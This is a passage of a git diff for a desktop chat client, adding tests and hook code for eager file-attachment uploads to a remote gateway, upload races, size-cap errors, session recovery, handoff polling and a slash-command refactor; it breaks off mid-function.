+ expect(calls.some(call => call.method === 'handoff.request')).toBe(true)
+ expect(calls).toContainEqual({
+ method: 'handoff.fail',
+ params: {
+ error: expect.stringContaining('Timed out'),
+ session_id: RUNTIME_SESSION_ID
+ }
+ })
+ })
+})
+
describe('usePromptActions submit / queue drain semantics', () => {
afterEach(() => {
cleanup()
@@ -385,6 +456,49 @@ describe('usePromptActions file attachment sync', () => {
})
})
+ it('passes a path-less @file: ref straight through (no path = nothing to upload)', async () => {
+ // Submit-layer contract: only attachments that carry a `path` are upload
+ // candidates. A path-less ref (an @-mention/context ref or pasted text)
+ // has no bytes to send, so syncAttachments leaves it untouched and the ref
+ // reaches the gateway as-is — correct for workspace-relative refs.
+ //
+ // The MahmoudR drag-drop bug (a Finder PDF that became a local-path text
+ // ref in remote mode) is fixed upstream at the DROP layer: OS drops now
+ // carry a path and route through the upload pipeline instead of becoming a
+ // path-less inline ref. See partitionDroppedFiles in use-composer-actions.
+ $connection.set({ mode: 'remote' } as never)
+ const readFileDataUrl = vi.fn(async () => 'data:application/pdf;base64,JVBERi0=')
+ Object.defineProperty(window, 'hermesDesktop', {
+ configurable: true,
+ value: { readFileDataUrl }
+ })
+
+ const pathlessRef: ComposerAttachment = {
+ id: 'file:devis',
+ kind: 'file',
+ label: 'DEVIS_signed.pdf',
+ // NOTE: no `path` field — only the pre-baked local @file: ref.
+ refText: '@file:`/Users/mahmoud/Downloads/DEVIS_signed.pdf`'
+ }
+
+ const calls: { method: string; params?: Record }[] = []
+ const requestGateway = vi.fn(async (method: string, params?: Record) => {
+ calls.push({ method, params })
+ return {} as never
+ })
+
+ let handle: HarnessHandle | null = null
+ render( (handle = h)} refreshSessions={async () => undefined} requestGateway={requestGateway} />)
+
+ const ok = await handle!.submitText('read this file', { attachments: [pathlessRef] })
+
+ expect(ok).toBe(true)
+ // No path → no file.attach, no byte read: the ref passes through unchanged.
+ expect(calls.map(c => c.method)).toEqual(['prompt.submit'])
+ expect(readFileDataUrl).not.toHaveBeenCalled()
+ expect(calls[0]?.params?.text).toContain('@file:`/Users/mahmoud/Downloads/DEVIS_signed.pdf`')
+ })
+
it('passes the path directly via file.attach in local mode (no byte upload)', async () => {
$connection.set({ mode: 'local' } as never)
@@ -413,6 +527,63 @@ describe('usePromptActions file attachment sync', () => {
})
})
+describe('usePromptActions eager-upload races', () => {
+ beforeEach(() => {
+ setSessions(() => [sessionInfo()])
+ $composerAttachments.set([])
+ })
+
+ afterEach(() => {
+ cleanup()
+ $composerAttachments.set([])
+ $connection.set(null)
+ vi.restoreAllMocks()
+ })
+
+ it('joins an in-flight eager upload at submit instead of staging the file twice', async () => {
+ // Drop-then-immediately-Enter: the drop kicks off an eager file.attach; if
+ // submit doesn't join it, both calls stage the file and leave a duplicate
+ // under .hermes/desktop-attachments/. Submit must await the in-flight upload
+ // and reuse its gateway-side ref.
+ $connection.set({ mode: 'remote' } as never)
+ Object.defineProperty(window, 'hermesDesktop', {
+ configurable: true,
+ value: { readFileDataUrl: vi.fn(async () => 'data:application/pdf;base64,JVBERi0=') }
+ })
+
+ let releaseAttach: () => void = () => {}
+ const methods: string[] = []
+ const requestGateway = vi.fn(async (method: string) => {
+ methods.push(method)
+ if (method === 'file.attach') {
+ // Block until released so submit runs while the upload is in flight.
+ await new Promise(resolve => {
+ releaseAttach = resolve
+ })
+ return { attached: true, ref_text: '@file:.hermes/desktop-attachments/doc.pdf', uploaded: true } as never
+ }
+ return {} as never
+ })
+
+ let handle: HarnessHandle | null = null
+ render( (handle = h)} refreshSessions={async () => undefined} requestGateway={requestGateway} />)
+ await waitFor(() => expect(handle).not.toBeNull())
+
+ // Drop a file → the eager effect fires file.attach and blocks on it.
+ $composerAttachments.set([{ id: 'file:doc.pdf', kind: 'file', label: 'doc.pdf', path: '/Users/me/doc.pdf' }])
+ await waitFor(() => expect(methods.filter(m => m === 'file.attach').length).toBe(1))
+
+ // Submit reads the store, sees the upload in flight, and joins it.
+ const submitting = handle!.submitText('here you go')
+ releaseAttach()
+
+ expect(await submitting).toBe(true)
+ // Exactly one file.attach (submit reused the eager result), then the send.
+ expect(methods.filter(m => m === 'file.attach').length).toBe(1)
+ expect(methods).toContain('prompt.submit')
+ })
+})
+
describe('usePromptActions sleep/wake session recovery', () => {
const STORED_SESSION_ID = 'stored-db-xyz789'
const RECOVERED_SESSION_ID = 'rt-recovered-456'
@@ -463,6 +634,43 @@ describe('usePromptActions sleep/wake session recovery', () => {
expect(calls[2]?.params).toEqual({ session_id: RECOVERED_SESSION_ID, text: 'message after wake' })
})
+ it('resumes the stored session and retries once when session.interrupt reports "session not found"', async () => {
+ const calls: { method: string; params?: Record }[] = []
+ let interruptAttempts = 0
+ const requestGateway = vi.fn(async (method: string, params?: Record) => {
+ calls.push({ method, params })
+ if (method === 'session.interrupt') {
+ interruptAttempts += 1
+ if (interruptAttempts === 1) {
+ throw new Error('session not found')
+ }
+ return {} as never
+ }
+ if (method === 'session.resume') {
+ return { session_id: RECOVERED_SESSION_ID } as never
+ }
+ return {} as never
+ })
+
+ let handle: HarnessHandle | null = null
+ render(
+ (handle = h)}
+ refreshSessions={async () => undefined}
+ requestGateway={requestGateway}
+ storedSessionId={STORED_SESSION_ID}
+ />
+ )
+ await waitFor(() => expect(handle).not.toBeNull())
+
+ await handle!.cancelRun()
+
+ expect(calls.map(c => c.method)).toEqual(['session.interrupt', 'session.resume', 'session.interrupt'])
+ expect(calls[0]?.params).toEqual({ session_id: RUNTIME_SESSION_ID })
+ expect(calls[1]?.params).toEqual({ session_id: STORED_SESSION_ID })
+ expect(calls[2]?.params).toEqual({ session_id: RECOVERED_SESSION_ID })
+ })
+
it('surfaces the original error (no resume) when the failure is not "session not found"', async () => {
const calls: string[] = []
const states: Record[] = []
@@ -518,3 +726,137 @@ describe('usePromptActions sleep/wake session recovery', () => {
})
})
+describe('usePromptActions eager attachment upload (drop-time)', () => {
+ afterEach(() => {
+ cleanup()
+ vi.restoreAllMocks()
+ $connection.set(null)
+ $composerAttachments.set([])
+ })
+
+ it('uploads a dropped file the moment it lands (active session) and rewrites the chip with the gateway ref', async () => {
+ // A Finder drop adds a chip with a local path but no attachedSessionId. With
+ // a session already open, the hook should stage it right away — so the send
+ // is instant and the card can show a spinner while bytes upload — instead of
+ // waiting for submit.
+ $connection.set({ mode: 'remote' } as never)
+ const readFileDataUrl = vi.fn(async () => 'data:application/pdf;base64,JVBERi0=')
+ Object.defineProperty(window, 'hermesDesktop', { configurable: true, value: { readFileDataUrl } })
+
+ const calls: string[] = []
+ const requestGateway = vi.fn(async (method: string) => {
+ calls.push(method)
+ if (method === 'file.attach') {
+ return { attached: true, ref_text: '@file:.hermes/desktop-attachments/DEVIS_signed.pdf', uploaded: true } as never
+ }
+ return {} as never
+ })
+
+ $composerAttachments.set([
+ { id: 'file:devis', kind: 'file', label: 'DEVIS_signed.pdf', path: '/Users/mahmoud/Downloads/DEVIS_signed.pdf' }
+ ])
+
+ render( undefined} refreshSessions={async () => undefined} requestGateway={requestGateway} />)
+
+ await waitFor(() => expect(calls).toContain('file.attach'))
+ await waitFor(() => expect($composerAttachments.get()[0]?.attachedSessionId).toBe(RUNTIME_SESSION_ID))
+
+ const chip = $composerAttachments.get()[0]!
+ expect(chip.refText).toBe('@file:.hermes/desktop-attachments/DEVIS_signed.pdf')
+ expect(chip.uploadState).toBeUndefined()
+ expect(readFileDataUrl).toHaveBeenCalledWith('/Users/mahmoud/Downloads/DEVIS_signed.pdf')
+ })
+
+ it('flags the chip uploadState=error when the eager upload fails, keeping the path so submit can retry', async () => {
+ $connection.set({ mode: 'remote' } as never)
+ Object.defineProperty(window, 'hermesDesktop', {
+ configurable: true,
+ value: { readFileDataUrl: vi.fn(async () => 'data:application/pdf;base64,JVBERi0=') }
+ })
+
+ const requestGateway = vi.fn(async (method: string) => {
+ if (method === 'file.attach') {
+ throw new Error('[Errno 13] Permission denied')
+ }
+ return {} as never
+ })
+
+ $composerAttachments.set([{ id: 'file:x', kind: 'file', label: 'x.pdf', path: '/abs/x.pdf' }])
+
+ render( undefined} refreshSessions={async () => undefined} requestGateway={requestGateway} />)
+
+ await waitFor(() => expect($composerAttachments.get()[0]?.uploadState).toBe('error'))
+ expect($composerAttachments.get()[0]?.attachedSessionId).toBeUndefined()
+ expect($composerAttachments.get()[0]?.path).toBe('/abs/x.pdf')
+ })
+
+ it('does not eagerly re-upload a chip already attached to this session', async () => {
+ $connection.set({ mode: 'remote' } as never)
+ const requestGateway = vi.fn(async () => ({}) as never)
+
+ $composerAttachments.set([
+ {
+ id: 'file:done',
+ kind: 'file',
+ label: 'done.pdf',
+ path: '/abs/done.pdf',
+ refText: '@file:data/done.pdf',
+ attachedSessionId: RUNTIME_SESSION_ID
+ }
+ ])
+
+ render( undefined} refreshSessions={async () => undefined} requestGateway={requestGateway} />)
+
+ await Promise.resolve()
+ expect(requestGateway).not.toHaveBeenCalledWith('file.attach', expect.anything())
+ })
+})
+
+describe('uploadComposerAttachment remote read failures', () => {
+ afterEach(() => {
+ vi.restoreAllMocks()
+ })
+
+ it('turns the raw 16MB IPC cap error into a friendly remote-gateway message', async () => {
+ // electron/hardening.cjs rejects the readFileDataUrl IPC with this exact
+ // shape when a file exceeds DATA_URL_READ_MAX_BYTES.
+ Object.defineProperty(window, 'hermesDesktop', {
+ configurable: true,
+ value: {
+ readFileDataUrl: vi.fn(async () => {
+ throw new Error('File preview failed: file is too large (20971520 bytes; limit 16777216 bytes).')
+ })
+ }
+ })
+
+ const requestGateway = vi.fn(async () => ({}) as never)
+
+ await expect(
+ uploadComposerAttachment(
+ { id: 'file:big', kind: 'file', label: 'huge.csv', path: '/abs/huge.csv' },
+ { remote: true, requestGateway, sessionId: RUNTIME_SESSION_ID }
+ )
+ ).rejects.toThrow('huge.csv is too large to upload to the remote gateway (max 16 MB).')
+
+ // The cap is hit before any gateway round-trip.
+ expect(requestGateway).not.toHaveBeenCalled()
+ })
+
+ it('passes non-cap read errors through unchanged', async () => {
+ Object.defineProperty(window, 'hermesDesktop', {
+ configurable: true,
+ value: {
+ readFileDataUrl: vi.fn(async () => {
+ throw new Error('ENOENT: no such file')
+ })
+ }
+ })
+
+ await expect(
+ uploadComposerAttachment(
+ { id: 'file:gone', kind: 'file', label: 'gone.csv', path: '/abs/gone.csv' },
+ { remote: true, requestGateway: vi.fn(async () => ({}) as never), sessionId: RUNTIME_SESSION_ID }
+ )
+ ).rejects.toThrow('ENOENT: no such file')
+ })
+})
diff --git a/apps/desktop/src/app/session/hooks/use-prompt-actions.ts b/apps/desktop/src/app/session/hooks/use-prompt-actions.ts
index 0fe2c379be29..b09d86ffd10b 100644
--- a/apps/desktop/src/app/session/hooks/use-prompt-actions.ts
+++ b/apps/desktop/src/app/session/hooks/use-prompt-actions.ts
@@ -1,22 +1,27 @@
import type { AppendMessage, ThreadMessage } from '@assistant-ui/react'
-import { type MutableRefObject, useCallback } from 'react'
+import { useStore } from '@nanostores/react'
+import { type MutableRefObject, useCallback, useEffect, useRef } from 'react'
import { getProfiles, transcribeAudio } from '@/hermes'
import { translateNow, type Translations, useI18n } from '@/i18n'
+import { stripAnsi } from '@/lib/ansi'
import { branchGroupForUser, type ChatMessage, chatMessageText, textPart } from '@/lib/chat-messages'
import {
- attachmentDisplayText,
+ optimisticAttachmentRef,
parseCommandDispatch,
parseSlashCommand,
pathLabel,
+ sessionTitle,
SLASH_COMMAND_RE
} from '@/lib/chat-runtime'
import {
type CommandsCatalogLike,
+ type DesktopActionId,
+ type DesktopPickerId,
desktopSlashUnavailableMessage,
filterDesktopCommandsCatalog,
isDesktopSlashCommand,
- isModelPickerCommand
+ resolveDesktopCommand
} from '@/lib/desktop-slash-commands'
import { triggerHaptic } from '@/lib/haptics'
import { setMutableRef } from '@/lib/mutable-ref'
@@ -24,10 +29,11 @@ import { isProviderSetupErrorMessage } from '@/lib/provider-setup-errors'
import { setSessionYolo } from '@/lib/yolo-session'
import {
$composerAttachments,
- addComposerAttachment,
clearComposerAttachments,
type ComposerAttachment,
- terminalContextBlocksFromDraft
+ setComposerAttachmentUploadState,
+ terminalContextBlocksFromDraft,
+ updateComposerAttachment
} from '@/store/composer'
import { clearNotifications, notify, notifyError } from '@/store/notifications'
import { requestDesktopOnboarding } from '@/store/onboarding'
@@ -36,11 +42,13 @@ import {
$busy,
$connection,
$messages,
+ $sessions,
$yoloActive,
setAwaitingResponse,
setBusy,
setMessages,
setModelPickerOpen,
+ setSessionPickerOpen,
setSessions,
setYoloActive
} from '@/store/session'
@@ -48,12 +56,30 @@ import {
import type {
ClientSessionState,
FileAttachResponse,
+ HandoffFailResponse,
+ HandoffRequestResponse,
+ HandoffStateResponse,
ImageAttachResponse,
SessionSteerResponse,
SessionTitleResponse,
SlashExecResponse
} from '../../types'
+interface HandoffResult {
+ ok: boolean
+ error?: string
+}
+
+function delay(ms: number): Promise {
+ return new Promise(resolve => setTimeout(resolve, ms))
+}
+
+function isSessionIdCandidate(value: string): boolean {
+ const trimmed = value.trim()
+
+ return /^\d{8}_\d{6}_[A-Fa-f0-9]{6}$/.test(trimmed) || /^[A-Fa-f0-9]{32}$/.test(trimmed)
+}
+
function blobToDataUrl(blob: Blob): Promise {
return new Promise((resolve, reject) => {
const reader = new FileReader()
@@ -82,6 +108,12 @@ function inlineErrorMessage(error: unknown, fallback: string): string {
return (raw.match(/Error invoking remote method '[^']+': Error: (.+)$/)?.[1] ?? raw).replace(/^Error:\s*/, '').trim()
}
+function isSessionNotFoundError(error: unknown): boolean {
+ const message = error instanceof Error ? error.message : String(error)
+
+ return /session not found/i.test(message)
+}
+
function base64FromDataUrl(dataUrl: string): string {
const comma = dataUrl.indexOf(',')
@@ -118,6 +150,122 @@ async function readFileDataUrlForAttach(filePath: string): Promise 0 ? ` (max ${Math.floor(limitBytes / (1024 * 1024))} MB)` : ''
+
+ return new Error(`${label} is too large to upload to the remote gateway${cap}.`)
+}
+
+type GatewayRequest = (method: string, params?: Record) => Promise
+
+/**
+ * Stage one file/image attachment into the session workspace and return the
+ * attachment rewritten with the gateway-side ref. Images upload their bytes in
+ * remote mode (so vision works) and pass the path locally; non-image files
+ * upload bytes remotely and pass the path locally. Throws on failure so callers
+ * can surface an error. Shared by submit-time sync, the eager drop-time upload,
+ * and the message-edit composer drop — keep them in lockstep.
+ */
+export async function uploadComposerAttachment(
+ attachment: ComposerAttachment,
+ opts: { remote: boolean; requestGateway: GatewayRequest; sessionId: string }
+): Promise {
+ const { remote, requestGateway, sessionId } = opts
+ const path = attachment.path ?? ''
+ const label = attachment.label || pathLabel(path)
+
+ if (attachment.kind === 'image') {
+ let result: ImageAttachResponse
+
+ if (remote) {
+ let payload: Awaited>
+
+ try {
+ payload = await readImageForRemoteAttach(path)
+ } catch (err) {
+ throw friendlyRemoteAttachError(err, label)
+ }
+
+ if (!payload) {
+ throw new Error(`Could not read ${label}`)
+ }
+
+ result = await requestGateway('image.attach_bytes', {
+ session_id: sessionId,
+ content_base64: payload.contentBase64,
+ filename: payload.filename
+ })
+ } else {
+ result = await requestGateway('image.attach', {
+ path,
+ session_id: sessionId
+ })
+ }
+
+ if (!result.attached) {
+ throw new Error(result.message || `Could not attach ${label}`)
+ }
+
+ const attachedPath = result.path || path
+
+ return {
+ ...attachment,
+ attachedSessionId: sessionId,
+ label: attachedPath ? pathLabel(attachedPath) : attachment.label,
+ path: attachedPath,
+ uploadState: undefined
+ }
+ }
+
+ // Non-image file.
+ let dataUrl: string | null = null
+
+ if (remote) {
+ try {
+ dataUrl = await readFileDataUrlForAttach(path)
+ } catch (err) {
+ throw friendlyRemoteAttachError(err, label)
+ }
+
+ if (!dataUrl) {
+ throw new Error(`Could not read ${label}`)
+ }
+ }
+
+ const result = await requestGateway('file.attach', {
+ name: label,
+ path,
+ session_id: sessionId,
+ ...(dataUrl ? { data_url: dataUrl } : {})
+ })
+
+ if (!result.attached || !result.ref_text) {
+ throw new Error(result.message || `Could not attach ${label}`)
+ }
+
+ return {
+ ...attachment,
+ attachedSessionId: sessionId,
+ refText: result.ref_text,
+ uploadState: undefined
+ }
+}
+
interface PromptActionsOptions {
activeSessionId: string | null
activeSessionIdRef: MutableRefObject
@@ -127,6 +275,7 @@ interface PromptActionsOptions {
handleSkinCommand: (arg: string) => string
refreshSessions: () => Promise
requestGateway: (method: string, params?: Record) => Promise
+ resumeStoredSession: (storedSessionId: string) => Promise | void
selectedStoredSessionIdRef: MutableRefObject
startFreshSessionDraft: () => void
sttEnabled: boolean
@@ -142,6 +291,15 @@ interface SubmitTextOptions {
fromQueue?: boolean
}
+/** Everything a slash handler needs about the invocation it's serving. */
+interface SlashActionCtx {
+ arg: string
+ command: string
+ name: string
+ recordInput: boolean
+ sessionHint?: string
+}
+
function renderCommandsCatalog(catalog: CommandsCatalogLike, copy: Translations['desktop']): string {
const desktopCatalog = filterDesktopCommandsCatalog(catalog)
@@ -192,6 +350,7 @@ export function usePromptActions({
handleSkinCommand,
refreshSessions,
requestGateway,
+ resumeStoredSession,
selectedStoredSessionIdRef,
startFreshSessionDraft,
sttEnabled,
@@ -202,7 +361,11 @@ export function usePromptActions({
const appendSessionTextMessage = useCallback(
(sessionId: string, role: ChatMessage['role'], text: string) => {
- const body = text.trim()
+ // Strip ANSI: slash-command output from the backend worker carries SGR
+ // color codes (e.g. "Unknown command" in red). The ESC byte is invisible
+ // in the chat panel, so without this the `[1;31m…[0m` payload leaks as
+ // literal text.
+ const body = stripAnsi(text).trim()
if (!body) {
return
@@ -227,6 +390,11 @@ export function usePromptActions({
[selectedStoredSessionIdRef, updateSessionState]
)
+ // In-flight drop-time eager uploads, keyed by attachment id. Submit joins
+ // these before re-uploading so a drop-then-immediately-Enter can't fire
+ // file.attach twice and stage duplicate copies on the gateway.
+ const eagerUploadInFlight = useRef>>(new Map())
+
const syncAttachmentsForSubmit = useCallback(
async (
sessionId: string,
@@ -237,97 +405,40 @@ export function usePromptActions({
const remote = $connection.get()?.mode === 'remote'
const synced: ComposerAttachment[] = []
- for (const attachment of attachments) {
- // Already-synced or pathless refs (terminal, url, etc.) pass through.
- if (!attachment.path || attachment.attachedSessionId === sessionId) {
- synced.push(attachment)
- continue
- }
-
- if (attachment.kind === 'image') {
- let result: ImageAttachResponse
-
- if (remote) {
- // The gateway is on another machine — it can't read attachment.path
- // (a path on THIS disk). Upload the bytes via image.attach_bytes.
- const payload = await readImageForRemoteAttach(attachment.path)
-
- if (!payload) {
- const label = attachment.label || pathLabel(attachment.path)
- throw new Error(`Could not read ${label}`)
- }
-
- result = await requestGateway('image.attach_bytes', {
- session_id: sessionId,
- content_base64: payload.contentBase64,
- filename: payload.filename
- })
- } else {
- result = await requestGateway('image.attach', {
- session_id: sessionId,
- path: attachment.path
- })
- }
+ for (const original of attachments) {
+ let attachment = original
- if (!result.attached) {
- const label = attachment.label || pathLabel(attachment.path)
- throw new Error(result.message || `Could not attach ${label}`)
- }
+ // Join a drop-time eager upload still in flight for this attachment
+ // before deciding anything — otherwise submit and the eager task both
+ // call file.attach and stage duplicate files. After it settles, take the
+ // store's updated copy (its gateway ref, or its failure) over the stale
+ // pre-upload snapshot.
+ const inFlight = eagerUploadInFlight.current.get(attachment.id)
- const attachedPath = result.path || attachment.path
- const nextAttachment: ComposerAttachment = {
- ...attachment,
- id: attachment.id,
- label: attachedPath ? pathLabel(attachedPath) : attachment.label,
- path: attachedPath,
- attachedSessionId: sessionId
- }
+ if (inFlight) {
+ await inFlight
+ attachment = $composerAttachments.get().find(item => item.id === attachment.id) ?? attachment
+ }
- if (updateComposerAttachments) {
- addComposerAttachment(nextAttachment)
- }
+ // Already-synced or pathless refs (terminal, url, etc.) pass through.
+ // A drop-time eager upload may already have staged this one (matching
+ // attachedSessionId) — don't re-upload it.
+ if (!attachment.path || attachment.attachedSessionId === sessionId) {
+ synced.push(attachment)
- synced.push(nextAttachment)
continue
}
- if (attachment.kind === 'file') {
- // Non-image file refs are @file: paths the gateway reads with its file
- // tools. On a remote gateway the desktop path doesn't exist there, so
- // upload the bytes; the gateway stages them into the session workspace
- // and hands back a workspace-relative ref that actually resolves.
- // Local mode can pass the path directly (gateway shares this disk).
- const dataUrl = remote ? await readFileDataUrlForAttach(attachment.path) : null
-
- if (remote && !dataUrl) {
- const label = attachment.label || pathLabel(attachment.path)
- throw new Error(`Could not read ${label}`)
- }
-
- const result = await requestGateway('file.attach', {
- session_id: sessionId,
- path: attachment.path,
- name: attachment.label || pathLabel(attachment.path),
- ...(dataUrl ? { data_url: dataUrl } : {})
- })
-
- if (!result.attached || !result.ref_text) {
- const label = attachment.label || pathLabel(attachment.path)
- throw new Error(result.message || `Could not attach ${label}`)
- }
-
- const nextAttachment: ComposerAttachment = {
- ...attachment,
- id: attachment.id,
- refText: result.ref_text,
- attachedSessionId: sessionId
- }
+ if (attachment.kind === 'image' || attachment.kind === 'file') {
+ const nextAttachment = await uploadComposerAttachment(attachment, { remote, requestGateway, sessionId })
+ // Update-only: never resurrect a chip the user removed mid-upload.
if (updateComposerAttachments) {
- addComposerAttachment(nextAttachment)
+ updateComposerAttachment(nextAttachment)
}
synced.push(nextAttachment)
+
continue
}
@@ -339,6 +450,64 @@ export function usePromptActions({
[requestGateway]
)
+ // Stage a freshly dropped file as soon as it lands (when a session already
+ // exists), so the upload runs while the user is still typing rather than
+ // stalling the send. The card shows a spinner via `uploadState`; on success
+ // the chip carries its gateway-side ref so submit skips re-uploading.
+ //
+ // Images are intentionally NOT eager-uploaded: attachImagePath adds the chip
+ // and then fills in `previewUrl` (the base64 thumbnail) on a second tick, so
+ // an eager upload would race that write — clobbering the thumbnail and
+ // swapping `path` to a gateway path the local preview can't read. Images are
+ // small and still byte-upload at submit via image.attach_bytes.
+ const eagerlyUploadAttachment = useCallback(
+ async (sessionId: string, attachment: ComposerAttachment) => {
+ const remote = $connection.get()?.mode === 'remote'
+
+ setComposerAttachmentUploadState(attachment.id, 'uploading')
+
+ try {
+ // Update-only: if the user removed the chip while this was uploading,
+ // don't resurrect it — just drop the staged result on the floor.
+ updateComposerAttachment(await uploadComposerAttachment(attachment, { remote, requestGateway, sessionId }))
+ } catch (err) {
+ // Leave the chip in place so submit-time sync can retry (or the user can
+ // remove it) and flag the card; also toast so a hard failure (unreadable
+ // file, gateway perms) isn't swallowed while the user keeps typing.
+ setComposerAttachmentUploadState(attachment.id, 'error')
+ notifyError(err, copy.dropFiles)
+ }
+ },
+ [copy.dropFiles, requestGateway]
+ )
+
+ const composerAttachments = useStore($composerAttachments)
+
+ useEffect(() => {
+ if (!activeSessionId) {
+ return
+ }
+
+ for (const attachment of composerAttachments) {
+ const needsUpload =
+ attachment.kind === 'file' &&
+ Boolean(attachment.path) &&
+ !attachment.attachedSessionId &&
+ !attachment.uploadState &&
+ !eagerUploadInFlight.current.has(attachment.id)
+
+ if (!needsUpload) {
+ continue
+ }
+
+ const task = eagerlyUploadAttachment(activeSessionId, attachment).finally(() =>
+ eagerUploadInFlight.current.delete(attachment.id)
+ )
+
+ eagerUploadInFlight.current.set(attachment.id, task)
+ }
+ }, [activeSessionId, composerAttachments, eagerlyUploadAttachment])
+
const submitPromptText = useCallback(
async (rawText: string, options?: SubmitTextOptions) => {
const visibleText = rawText.trim()
@@ -351,7 +520,9 @@ export function usePromptActions({
// Refs are recomputed after sync (file.attach rewrites @file: refs to
// workspace-relative paths the remote gateway can resolve). Seed the
// optimistic message with the pre-sync refs, then rewrite once synced.
- let attachmentRefs = attachments.map(attachmentDisplayText).filter((r): r is string => Boolean(r))
+ // Images use their base64 preview so the thumbnail renders inline without
+ // a (remote-mode 403-prone) /api/media fetch — see optimisticAttachmentRef.
+ let attachmentRefs = attachments.map(optimisticAttachmentRef).filter((r): r is string => Boolean(r))
const buildContextText = (atts: ComposerAttachment[]): string => {
const contextRefs = atts
.map(a => a.refText)
@@ -483,7 +654,8 @@ export function usePromptActions({
})
// Rewrite the optimistic message + prompt text with the synced refs so
// the gateway receives @file: paths that resolve in its workspace.
- attachmentRefs = syncedAttachments.map(attachmentDisplayText).filter((r): r is string => Boolean(r))
+ // (Images keep their inline base64 preview — see optimisticAttachmentRef.)
+ attachmentRefs = syncedAttachments.map(optimisticAttachmentRef).filter((r): r is string => Boolean(r))
rewriteOptimistic(sessionId)
const text = buildContextText(syncedAttachments)
@@ -495,9 +667,7 @@ export function usePromptActions({
try {
await requestGateway('prompt.submit', { session_id: sessionId, text })
} catch (firstErr) {
- const firstMsg = firstErr instanceof Error ? firstErr.message : String(firstErr)
-
- if (/session not found/i.test(firstMsg) && selectedStoredSessionIdRef.current) {
+ if (isSessionNotFoundError(firstErr) && selectedStoredSessionIdRef.current) {
// Re-register the session in the gateway and get a fresh live ID.
const resumed = await requestGateway<{ session_id: string }>('session.resume', {
session_id: selectedStoredSessionIdRef.current
@@ -569,39 +739,208 @@ export function usePromptActions({
]
)
+ // Queue a handoff of this session to a messaging platform and watch it to
+ // a terminal state. We only write the request through the gateway; the
+ // separate `hermes gateway` process performs the actual transfer, so we
+ // poll `handoff.state` (mirror of the CLI's block-poll) for the result.
+ const handoffSession = useCallback(
+ async (
+ platform: string,
+ options?: { onProgress?: (state: string) => void; sessionId?: string }
+ ): Promise => {
+ const sid = options?.sessionId || activeSessionIdRef.current
+
+ if (!sid) {
+ return { error: copy.sessionUnavailable, ok: false }
+ }
+
+ const target = platform.trim().toLowerCase()
+
+ if (!target) {
+ return { error: copy.handoff.failed(''), ok: false }
+ }
+
+ try {
+ options?.onProgress?.('pending')
+ await requestGateway('handoff.request', {
+ platform: target,
+ session_id: sid
+ })
+ } catch (err) {
+ return { error: inlineErrorMessage(err, copy.handoff.failed(target)), ok: false }
+ }
+
+ const deadline = Date.now() + 60_000
+ let lastState = 'pending'
+
+ while (Date.now() < deadline) {
+ await delay(800)
+
+ let record: HandoffStateResponse
+
+ try {
+ record = await requestGateway('handoff.state', { session_id: sid })
+ } catch {
+ continue
+ }
+
+ const state = record.state || 'pending'
+
+ if (state !== lastState) {
+ options?.onProgress?.(state)
+ lastState = state
+ }
+
+ if (state === 'completed') {
+ appendSessionTextMessage(sid, 'system', copy.handoff.systemNote(target))
+ notify({ kind: 'success', message: copy.handoff.success(target) })
+
+ return { ok: true }
+ }
+
+ if (state === 'failed') {
+ return { error: record.error || copy.handoff.failed(target), ok: false }
+ }
+ }
+
+ const cleanup = await requestGateway('handoff.fail', {
+ error: copy.handoff.timedOut,
+ session_id: sid
+ }).catch(() => null)
+
+ if (cleanup?.state === 'completed') {
+ appendSessionTextMessage(sid, 'system', copy.handoff.systemNote(target))
+ notify({ kind: 'success', message: copy.handoff.success(target) })
+
+ return { ok: true }
+ }
+
+ return { error: copy.handoff.timedOut, ok: false }
+ },
+ [activeSessionIdRef, appendSessionTextMessage, copy, requestGateway]
+ )
+
const executeSlashCommand = useCallback(
async (rawCommand: string, options?: { sessionId?: string; recordInput?: boolean }) => {
- const runSlash = async (commandText: string, sessionHint?: string, recordInput = true): Promise => {
- const command = commandText.trim()
- const { name, arg } = parseSlashCommand(command)
- const normalizedName = name.toLowerCase()
+ const ensureSessionId = async (sessionHint?: string) =>
+ sessionHint || activeSessionIdRef.current || (await createBackendSessionForSend())
- if (!name) {
- const sessionId = sessionHint || activeSessionIdRef.current || (await createBackendSessionForSend())
+ // Resolve the target session plus a writer for inline slash output, or
+ // notify + return null when none can be created. Folds the ensure / bail /
+ // build-renderSlashOutput boilerplate every exec-style handler repeats.
+ const withSlashOutput = async (
+ ctx: SlashActionCtx
+ ): Promise<{ render: (text: string) => void; sessionId: string } | null> => {
+ const sessionId = await ensureSessionId(ctx.sessionHint)
- if (sessionId) {
- appendSessionTextMessage(sessionId, 'system', copy.emptySlashCommand)
- }
+ if (!sessionId) {
+ notify({ kind: 'error', title: copy.sessionUnavailable, message: copy.createSessionFailed })
+
+ return null
+ }
+
+ const render = (text: string) =>
+ appendSessionTextMessage(sessionId, 'system', ctx.recordInput ? slashStatusText(ctx.command, text) : text)
+ return { render, sessionId }
+ }
+
+ // `exec` commands (and unknown skill / quick commands the backend owns)
+ // run on the gateway and render their text output inline. This is the only
+ // path that talks to slash.exec / command.dispatch.
+ async function runExec(ctx: SlashActionCtx): Promise {
+ const { arg, command, name } = ctx
+ const resolved = await withSlashOutput(ctx)
+
+ if (!resolved) {
return
}
- if (normalizedName === 'new' || normalizedName === 'reset') {
- startFreshSessionDraft()
+ const { render: renderSlashOutput, sessionId } = resolved
+
+ if (!isDesktopSlashCommand(name)) {
+ renderSlashOutput(desktopSlashUnavailableMessage(name) || `/${name} is not available in the desktop app.`)
return
}
- if (normalizedName === 'branch' || normalizedName === 'fork') {
- await branchCurrentSession()
+ try {
+ const result = await requestGateway('slash.exec', {
+ session_id: sessionId,
+ command: command.replace(/^\/+/, '')
+ })
+
+ const body = result?.output || `/${name}: no output`
+ renderSlashOutput(result?.warning ? `warning: ${result.warning}\n${body}` : body)
return
+ } catch {
+ // Fall back to command.dispatch for skill/send/alias directives.
}
+ try {
+ const dispatch = parseCommandDispatch(
+ await requestGateway('command.dispatch', { session_id: sessionId, name, arg })
+ )
+
+ if (!dispatch) {
+ renderSlashOutput('error: invalid response: command.dispatch')
+
+ return
+ }
+
+ if (dispatch.type === 'exec' || dispatch.type === 'plugin') {
+ renderSlashOutput(dispatch.output ?? '(no output)')
+
+ return
+ }
+
+ if (dispatch.type === 'alias') {
+ await runSlash(`/${dispatch.target}${arg ? ` ${arg}` : ''}`, sessionId, false)
+
+ return
+ }
+
+ const message = ('message' in dispatch ? dispatch.message : '')?.trim() ?? ''
+
+ if (!message) {
+ renderSlashOutput(
+ `/${name}: ${dispatch.type === 'skill' ? 'skill payload missing message' : 'empty message'}`
+ )
+
